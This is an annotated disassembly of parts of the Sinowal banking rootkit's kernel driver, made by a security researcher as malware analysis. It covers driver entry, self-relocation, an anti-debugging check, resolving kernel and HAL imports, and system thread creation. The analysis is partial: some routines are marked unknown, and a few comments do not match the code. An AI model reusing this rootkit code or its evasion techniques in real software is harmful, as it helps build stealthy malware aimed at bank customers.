;  
;  called "Banken Rootkit" or referred as "Banken Trojaner"
;  
;  reverse engineering by Peter Kleissner
;  
;  for Ikarus Security Software

;  www.viennacomputerproducts.com/reverseengineering

; this is the entry point code of the raw kernel driver



Driver_Entry:

; this is the normal entry point of a driver (according to Windows Driver Kit):

; NTSTATUS
;    DriverEntry(
;      IN PDRIVER_OBJECT  DriverObject,
;      IN PUNICODE_STRING  RegistryPath
;      ); 

; but Sinowal has its own entry point:

; DriverEntry(Module Address, _EPROCESS Address);

; Arguments:
;   esi     = Pointer to PE Header of driver
;   Param1  = Module Address (first value pushed on stack)
;   Param2  = _EPROCESS Address

; create frame
push ebp
mov ebp,esp

; initialize image (call with argument as Module Address)
push ecx
push [ebp+08h]                                              ; Module Address
call InitImage

mov ecx,[ebp+12]                                            ; _EPROCESS struct
mov eax,[ecx]
mov edx,[eax+18h]
mov eax,[eax+20h]
mov [dword_1ADE8],eax                                       ; store to some variable for usage in Thread

; call ****
lea eax,[ecx+10h]
push eax
push ecx
push [ebp+08h]                                              ; Module Address
mov [dword_1ADE4],edx
call SUB_L0001079C

; (exit if return value is negative, some heuristic)
movzx	eax,al
xor	ecx,ecx
cmp	eax,ecx
jl Driver_Entry_Exit

; PsCreateSystemThread(&Thread Handle, Access Mask = 0, Object Attributes = NULL, Process Handle = NULL, ClientID = 0, Thread_Entry_Point, Param1);
push [ebp+08h]                                              ; StartContext = Argument passed to new thread (= Module Address in our case)
lea eax,[ebp-04h]                                           ; address of ThreadHandle
push Thread_Entry_Point                                     ; StartRoutine, the address where the thread starts execution
push ecx                                                    ; ClientId (= NULL)
push ecx                                                    ; ProcessHandle (= NULL, runs under System Context)
push ecx                                                    ; ObjectAttributes (not required)
push ecx                                                    ; DesiredAccess
push eax                                                    ; ThreadHandle
mov	dword ptr [L0001ADDC],L0001C180
call ntoskrnl.exe!PsCreateSystemThread                      ; this direct call is possible because ntoskrnl resists always on the same memory

Driver_Entry_Exit:

; exit from entry point to Stage 5 code (ntoskrnl hook code)
leave

retn 8




InitImage:

; verifies and relocates image, checks if image has been modified to be debugged

; argument = Module Address

; create stack frame (allocate memory for variables on stack)
push ebp
mov	ebp,esp
sub	esp,12

; define stack variables
%define BaseOfData_Address      ebp - 4
%define PointerToRelocations    ebp - 8
%define PE_Header_Address       ebp - 12

; save registers (will be modified)
push ebx
push esi

; verify image and get pe header pointers
; VerifyImage(Module Address, out &PE Header, out &BaseOfData, NULL);
mov	esi,[ebp+08h]                                           ; esi to point to module address
xor	ebx,ebx
push ebx                                                    ; argument 4 = NULL
lea	eax,[BaseOfData_Address]
push eax                                                    ; argument 3 = address of stack variable BaseOfData
lea	eax,[PE_Header_Address]
push eax                                                    ; argument 2 = &PE Header
push esi                                                    ; argument 1 = Module Address
mov	[PointerToRelocations],ebx                              ; nothing to relocate (set PointerToRelocations to zero)
call VerifyImage

test al,al                                                  ; exit if error (check return code)
jz SUB_L00010524_Exit


; do some relocation stuff   *** can not be further analyzed until data segment values are unknown
mov	edx,[BaseOfData_Address]
  		
; some kinda loop
push edi
mov	edi,[edx+1Ch]           ; some value in Data Segment
sub	edi,esi                                                 ; esi contains Module Address
jz SUB_L00010524_End
  		
mov	eax,[edx+00000088h]     ; seems to be the REAL PointerToRelocations?
cmp	eax,ebx                                                 ; ebx is still a pointer to PointerToRelocations
jz SUB_L00010524_End

; check if AddressOfEntryPoint = 0x10000, the standard default entry point for drivers
mov	ecx,[PE_Header_Address]
test [ecx+12h],byte 00000001b                               ; check if someone like me wants to debug this driver!
jnz	SUB_L00010524_End

add	eax,esi                                                 ; absolute pointer to somewhere
cmp	[edx+0000008Ch],ebx     ; SOME DATA VALUE => check with PointerToRelocations
jbe	SUB_L00010524_End

 L00010573:
  		mov	ecx,[eax+04h]
  		and	dword ptr [BaseOfData_Address],00000000h
  		sub	ecx,00000008h
  		test	ecx,FFFFFFFEh
  		lea	esi,[eax+08h]
  		jbe	L000105BA
 L00010588:
  		xor	ecx,ecx
  		mov	cx,[esi]
  		mov	ebx,ecx
  		and	bx,0F000h
  		cmp	bx,3000h
  		jnz	L000105A8
  		and	ecx,00000FFFh
  		add	ecx,[eax]
  		add	ecx,[ebp+08h]
  		sub	[ecx],edi
 L000105A8:
  		mov	ecx,[eax+04h]
  		inc	[BaseOfData_Address]
  		sub	ecx,00000008h
  		inc	esi
  		shr	ecx,1
  		inc	esi
  		cmp	[BaseOfData_Address],ecx
  		jc 	L00010588
 L000105BA:
  		mov	ecx,[eax+04h]
  		add	[PointerToRelocations],ecx
  		add	eax,ecx
  		mov	ecx,[PointerToRelocations]
  		cmp	ecx,[edx+0000008Ch]
  		jc 	L00010573
  		
SUB_L00010524_End:
mov	al,1
pop	edi

SUB_L00010524_Exit:

; restore registers
pop	esi
pop	ebx

; exit
leave

retn 4





VerifyImage:

; verifies the image and returns various pointers into PE header

; VerifyImage(Module Address, out &PE Header, out &BaseOfData, out &PointerToRelocations = relic = NULL);
; return code in al (zero = error, 1 = successful)

; validate Module Handle (Base Module Address)
mov	eax,[esp+04h]                                           ; argument 1 = Module Address
test eax,eax
jz SUB_L000104CA_ErrorReturn

; validate Driver Image
cmp	word ptr [eax],'MZ'                                     ; check DOS Signature, on begin of image must stand "MZ", PE format (DOS Stub)
jnz	SUB_L000104CA_ErrorReturn

mov	ecx,[eax+3Ch]                                           ; pointer to PE Header
add	ecx,eax                                                 ;   (absolute pointer)

mov	eax,'PE'                                                ; check PE Signature
cmp	[ecx],eax
jnz	SUB_L000104CA_ErrorReturn

add	ecx,4                                                   ; ecx to point to SizeOfCode
lea	eax,[ecx+14h]                                           ; eax to point to Base of Data

cmp	[eax],word 010Bh                                        ; check BaseOfData, this is fake to prevent other people like me debugging it**
jnz	SUB_L000104CA_ErrorReturn

; set Variable 1 to the PE Header
push esi                                                    ; store esi (will be modified)
mov esi,[esp+12]                                            ; esi to point to variable 1
test esi,esi                                                ;   (set only if desired)
lea	edx,[eax+000000E0h]                                     ; edx to point to PointerToRelocations
jz 	Variable1_Set
mov	[esi],ecx                                               ; store pointer to PE Header
Variable1_Set:

; set Variable 2 to BaseOfData pointer
mov	ecx,[esp+16]                                            ; ecx to point to variable 2
test ecx,ecx                                                ;   (set only if desired)
pop	esi
jz 	Variable2_Set
mov	[ecx],eax                                               ; store pointer to BaseOfData
Variable2_Set:

; set Variable 3 to PointerToRelocations if desired (it is NOT)
mov	eax,[esp+16]                                            ; eax to point to variable 3
test eax,eax                                                ;   (set only if desired)
jz Variable3_Set
mov	[eax],edx                                               ; store pointer to PointerToRelocations
Variable3_Set:

; return successful
mov	al,1

jmp	SUB_L000104CA_Exit

SUB_L000104CA_ErrorReturn:
; return with error
xor	al,al

SUB_L000104CA_Exit:

retn	16





SWC00010770_ntoskrnl_exe    dw  L"ntoskrnl.exe", 0
SWC0001078C_hal_dll         dw  L"hal.dll", 0

SUB_L0001079C:

; takes no parameters

; register except handler (used for handling try-except)
push 0000003Ch                                              ; new stack size to be created
push SEH_Frame_Exception_Handling                           ; pointer to SEH frame of Default/Unhandled Exception Handler of driver
;   0001AE68  FFFFFFFF                    dd  FFFFFFFFh   <- list terminator
;   0001AE6C  23090100                    dd  L00010923   <- exit address of this function (nice exception handling!)
;   0001AE70  27090100                    dd  L00010927   ** does not belong to here (end-pointer of this function)
call Register_Msvcr_Except_Handler

; check if the variables are zero
mov	ebx,[ebp+08h]
test ebx,ebx
jz L0001092E
mov	ecx,[ebp+0Ch]
test ecx,ecx
jz L0001092E

  		mov	eax,[ecx]
  		mov	[ebp-38h],eax
  		cmp	eax,ecx
  		jz 	L0001092E
  		mov	eax,[eax]
  		mov	[ebp-28h],eax
  		cmp	eax,ecx
  		jz 	L0001092E

; VerifyImage(Module Address, out &PE Header, out &BaseOfData, out &PointerToRelocations = relic = NULL);
  		lea	eax,[ebp-44h]
  		push	eax
  		lea	eax,[ebp-34h]
  		push	eax
  		lea	eax,[ebp-48h]
  		push	eax
  		push	ebx
  		call	VerifyImage
  		
  		and	dword ptr [ebp-04h],00000000h
  		mov	eax,[ebp-34h]
  		mov	eax,[eax+68h]
  		test	eax,eax
  		jz 	L0001092A
  		lea	edi,[eax+ebx]
  		mov	[ebp-20h],edi
 L00010802:
  		mov	eax,[edi+0Ch]
  		test	eax,eax
  		jz 	L0001091B
  		lea	esi,[eax+ebx]
  		mov	[ebp-2Ch],esi
  		
push 0000001Ah                                              ; check 13 characters + zero terminator * 2 bytes
mov	eax,SWC00010770_ntoskrnl_exe                            ; source unicode string = "ntoskrnl.exe"
mov	edx,esi                                                 ; to be compared with ***
call String_Compare

; (check return value)
test eax,eax
jnz Not_Ntoskrnl

; ntoskrnl.exe found, do something!
mov	esi,[ebp-38h]
jmp	Hook_HAL                                                ; operate also HAL

Not_Ntoskrnl:


; check if its hal.dll
push 00000010h                                              ; check 7 characters + zero terminator * 2 bytes
mov	eax,SWC0001078C_hal_dll                                 ; source unicode string = "hal.dll"
mov	edx,esi                                                 ; again, to be compared
call String_Compare
  		
; (check return value)
test	eax,eax
jnz	Not_HAL

; hal.dll found, do something!
mov	esi,[ebp-28h]

Hook_HAL:
mov	[ebp-1Ch],esi                                           ; UNKNOWN
jmp	L000108BB                                               ; UNKNOWN

Not_HAL:


; its also not hal.dll...
  		mov	eax,[ebp-28h]
  		mov	esi,[eax]
  		
; a loop until the module is found
L00010849:
  		mov	[ebp-1Ch],esi
  		cmp	esi,[ebp+0Ch]
  		jz 	L00010873
  		mov	[ebp-1Ch],esi
  		xor	eax,eax
  		mov	ax,[esi+2Ch]
  		push	eax
  		mov	eax,[esi+30h]
  		mov	edx,[ebp-2Ch]
  		call	String_Compare
  		test	eax,eax
  		jz 	L0001086E
  		mov	esi,[esi]
  		jmp	L00010849
 L0001086E:
  		cmp	esi,[ebp+0Ch]
  		jnz	L000108BB
 L00010873:
  		mov	eax,[ebp+10h]
  		test	eax,eax
  		jz 	L0001092A
  		mov	edi,[eax]
 L00010880:
  		mov	[ebp-30h],edi
  		cmp	edi,[ebp+10h]
  		jz 	L0001092A
  		mov	[ebp-30h],edi
  		mov	esi,[edi+18h]
  		mov	[ebp-1Ch],esi
  		test	esi,esi
  		jz 	L000108AF
  		xor	eax,eax
  		mov	ax,[esi+2Ch]
  		push	eax
  		mov	eax,[esi+30h]
  		mov	edx,[ebp-2Ch]
  		call	String_Compare
  		test	eax,eax
  		jz 	L000108B3
 L000108AF:
  		mov	edi,[edi]
  		jmp	L00010880
 L000108B3:
  		cmp	edi,[ebp+10h]
  		jz 	L0001092A
  		mov	edi,[ebp-20h]
 L000108BB:
  		mov	eax,[edi]
  		mov	[ebp-3Ch],eax
  		test	eax,eax
  		jnz	L000108CA
  		mov	eax,[edi+10h]
  		mov	[ebp-3Ch],eax
 L000108CA:
  		and	dword ptr [ebp-24h],00000000h
  		lea	edi,[eax+ebx]
  		mov	[ebp-40h],edi
 L000108D4:
  		mov	eax,[edi]
  		test	eax,eax
  		jz 	L0001090F
  		lea	eax,[eax+ebx+02h]
  		push	eax
  		push	[esi+18h]
  		call	SUB_L0001061A
  		mov	[ebp-4Ch],eax
  		test	eax,eax
  		jz 	L0001092A
  		mov	ecx,[esi+18h]
  		add	ecx,eax
  		mov	eax,[ebp-20h]
  		mov	eax,[eax+10h]
  		mov	edx,[ebp-24h]
  		lea	eax,[eax+edx*4]
  		mov	[eax+ebx],ecx
  		add	[edi],ebx
  		add	edi,00000004h
  		mov	[ebp-40h],edi
  		inc	[ebp-24h]
  		jmp	L000108D4
 L0001090F:
  		add	dword ptr [ebp-20h],00000014h
  		mov	edi,[ebp-20h]
  		jmp	L00010802
 L0001091B:
  		or	dword ptr [ebp-04h],FFFFFFFFh
  		mov	al,01h
  		jmp	L00010930

L00010923 / SUB_L0001079C_ExceptionHandler:
 
; exit with NOT -1 value = succesful
xor	eax,eax
inc	eax

retn





Register_Msvcr_Except_Handler:

; arguments: pointer to SEH frame to insert and scopetable size or somewhat

; ** this code has been partially copied from Msvcr80

;   struct _EXCEPTION_REGISTRATION{
;        struct _EXCEPTION_REGISTRATION *prev;
;        void (*handler)(PEXCEPTION_RECORD,
;                        PEXCEPTION_REGISTRATION,
;                        PCONTEXT,
;                        PEXCEPTION_RECORD);
;        struct scopetable_entry *scopetable;
;        int trylevel;
;        int _ebp;
;        PEXCEPTION_POINTERS xpointers;
;   };

; create SEH frame on stack (which points to msvcrt exception dispatcher)
push Invoke_ntoskrnl__except_handler3                       ; handler address (+ 04h)
mov	eax,fs:[00000000h]
push eax                                                    ; next pointer (+ 00h)

;
mov	eax,[esp+16]                                            ; eax = argument 2 (= 3Ch)
mov	[esp+16],ebp                                            ; store ebp

lea	ebp,[esp+16]                                            ; set frame to before params (destroy anything other)
sub	esp,eax                                                 ; create stack

push ebx    ; WHY?
push esi    ; maybe some obfuscation stuff?
push edi    ; useless

mov	eax,[ebp-08h]                                           ; get return eip
mov	[ebp-18h],esp                                           ; _ebp value
push eax                                                    ; set return eip on new stack
mov	eax,[ebp-04h]                                           ; param 1 (pointer to SEH frame of default exception handler)
mov	dword ptr [ebp-04h],FFFFFFFFh                           ; list terminator
mov	[ebp-08h],eax

; now link created SEH frame into list
lea	eax,[ebp-16]                                            ; -> eax to point to the address where we set frame (like few lines above), to point to SEH frame
mov	fs:[00000000h],eax                                      ; set first SEH frame

retn




String_Compare:

; Param 1 = source string length
; eax = Unicode String
; edx = Single-Byte Character String

; eax = return value (zero if equal)

push esi
mov	esi,eax                                                 ; set source

String_Compare_loop:

; get a character
movzx	eax,word [esi]
inc	esi                                                     ; (next character)
inc	esi

; check source character if between 'A' and 'Z'
cmp	eax,00000041h                                           ; big character?
jl 	Source_Character_Set
cmp	eax,0000005Ah
jg 	Source_Character_Set
add	eax,00000020h                                           ; if between 'A'..'Z' then lowercase!
Source_Character_Set:

; check target character for lowercase
movzx	ecx,[edx]                                             ; seems to be single byte character
inc	edx
cmp	ecx,00000041h                                           ; again, between 'A'..
jl 	Target_Chracter_Set
cmp	ecx,0000005Ah                                           ; ..or 'Z'?
jg 	Target_Chracter_Set
add	ecx,00000020h                                           ; lowercase character!
Target_Chracter_Set:

; if zero termination end
test eax,eax
jz String_Compare_Exit
cmp	eax,ecx                                                 ; end also if they are not equal
jne	String_Compare_Exit

add	dword ptr [esp+08h],0000FFFEh                           ; Param1 - 2 bytes
;equal to sub [esp+8],2
cmp	word ptr [esp+08h],0000h
jnz	String_Compare_loop                                     ; next character if there are one

String_Compare_Exit:
sub	eax,ecx

; restore esi and exit
pop	esi

retn	0004h





; Imports

Invoke_ntoskrnl__except_handler3:
; a call to the msvcrt exception dispatcher (using scopetable etc.) - for usage of try-except
jmp	ntoskrnl.exe!_except_handler3






; Data

.text:0001ADA3 ; ---------------------------------------------------------------------------
.text:0001ADA4                 align 10h
.text:0001ADB0 byte_1ADB0      db 0                    ; DATA XREF: .text:00019499o
.text:0001ADB0                                         ; .text:00019720o ...
.text:0001ADB1 byte_1ADB1      db 0                    ; DATA XREF: .text:00019AD5o
.text:0001ADB2 word_1ADB2      dw 0                    ; DATA XREF: .text:00019764o
.text:0001ADB2                                         ; .text:0001986Eo
.text:0001ADB4 byte_1ADB4      db 2 dup(0)             ; DATA XREF: .text:0001939Bo
.text:0001ADB4                                         ; .text:00019975o
.text:0001ADB6 word_1ADB6      dw 0                    ; DATA XREF: .text:000199BDo
.text:0001ADB8 word_1ADB8      dw 0                    ; DATA XREF: .text:00019904o
.text:0001ADBA word_1ADBA      dw 0                    ; DATA XREF: .text:00019B24o
.text:0001ADBC word_1ADBC      dw 0                    ; DATA XREF: .text:0001989Fo
.text:0001ADBE word_1ADBE      dw 0                    ; DATA XREF: .text:00019648o
.text:0001ADC0 word_1ADC0      dw 0                    ; DATA XREF: .text:00019683o
.text:0001ADC2 word_1ADC2      dw 0                    ; DATA XREF: .text:00019BC7o
.text:0001ADC4 byte_1ADC4      db 0                    ; DATA XREF: .text:000197B1o
.text:0001ADC4                                         ; .text:000198CEo ...
.text:0001ADC5 byte_1ADC5      db 0                    ; DATA XREF: .text:0001977Eo
.text:0001ADC6 word_1ADC6      dw 0                    ; DATA XREF: .text:000199D6o
.text:0001ADC6                                         ; .text:00019A06o
.text:0001ADC8 word_1ADC8      dw 0                    ; DATA XREF: .text:0001993Fo
.text:0001ADC8                                         ; .text:00019C5Fo
.text:0001ADCA word_1ADCA      dw 0                    ; DATA XREF: .text:0001995Ao
.text:0001ADCC byte_1ADCC      db 2 dup(0)             ; DATA XREF: .text:000196C8o
.text:0001ADCE word_1ADCE      dw 0                    ; DATA XREF: .text:00019C15o
.text:0001ADD0 word_1ADD0      dw 0                    ; DATA XREF: .text:00019A8Fo
.text:0001ADD2 word_1ADD2      dw 0                    ; DATA XREF: .text:000195E9o
.text:0001ADD4 byte_1ADD4      db 2 dup(0)             ; DATA XREF: .text:00019924o
.text:0001ADD6 word_1ADD6      dw 0                    ; DATA XREF: .text:000194B4o
.text:0001ADD8 dword_1ADD8     dd 0                    ; DATA XREF: .text:0001A402o
.text:0001ADD8                                         ; .text:0001AA21o ...
.text:0001ADDC dword_1ADDC     dd 0                    ; DATA XREF: StartRoutine+7r
.text:0001ADDC                                         ; start+48w
.text:0001ADE0                 dd 0
.text:0001ADE4 dword_1ADE4     dd 0                    ; DATA XREF: sub_1AB0A:loc_1AB89r
.text:0001ADE4                                         ; StartRoutine:loc_1AC86r ...
.text:0001ADE8 dword_1ADE8     dd 0                    ; DATA XREF: sub_1AB0A+ADr
.text:                                                 ; StartRoutine+8Cr ...
.text:0001ADEC                 align 20h
.text:0001ADEC _text           ends


; pre-initialized data

.rdata:0001AE44 ; ---------------------------------------------------------------------------
.rdata:0001AE44
.rdata:0001AE44 ; Segment type: Pure code
.rdata:0001AE44 ; Segment permissions: Read/Write/Execute
.rdata:0001AE44 _rdata          segment para public 'CODE' use32
.rdata:0001AE44                 assume cs:_rdata
.rdata:0001AE44                 ;org 1AE44h
.rdata:0001AE44                 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.rdata:0001AE44                 align 10h

; SEH frame to register for exception handling for function
.rdata:0001AE50 dword_1AE50     dd 0FFFFFFFFh           ; DATA XREF: sub_1061A+2o
.rdata:0001AE54                 dd offset loc_1075B
.rdata:0001AE58                 dd offset loc_1075F
.rdata:0001AE5C                 align 10h
.rdata:0001AE60                 dd offset loc_106C5
.rdata:0001AE64                 dd offset loc_106C9

SEH_Frame_Exception_Handling:
; SEH frame to register for exception handling for function 
.rdata:0001AE68 dword_1AE68     dd 0FFFFFFFFh                       ; <- list terminator
.rdata:0001AE6C                 dd SUB_L0001079C_ExceptionHandler   ; <- exception handler = exit address of function

.rdata:0001AE70                 dd offset loc_10927

.rdata:0001AE74                 align 10h
.rdata:0001AE80 dword_1AE80     dd 3 dup(1), 0          ; DATA XREF: .text:00016A61o
.rdata:0001AE90                 dd 1, 3 dup(0)
.rdata:0001AEA0 byte_1AEA0      db 0                    ; DATA XREF: .text:00016E8Do
.rdata:0001AEA1                 db 1, 2 dup(2)
.rdata:0001AEA4                 dd 3030303h, 16h dup(0)
.rdata:0001AEA4 _rdata          ends
.rdata:0001AEA4

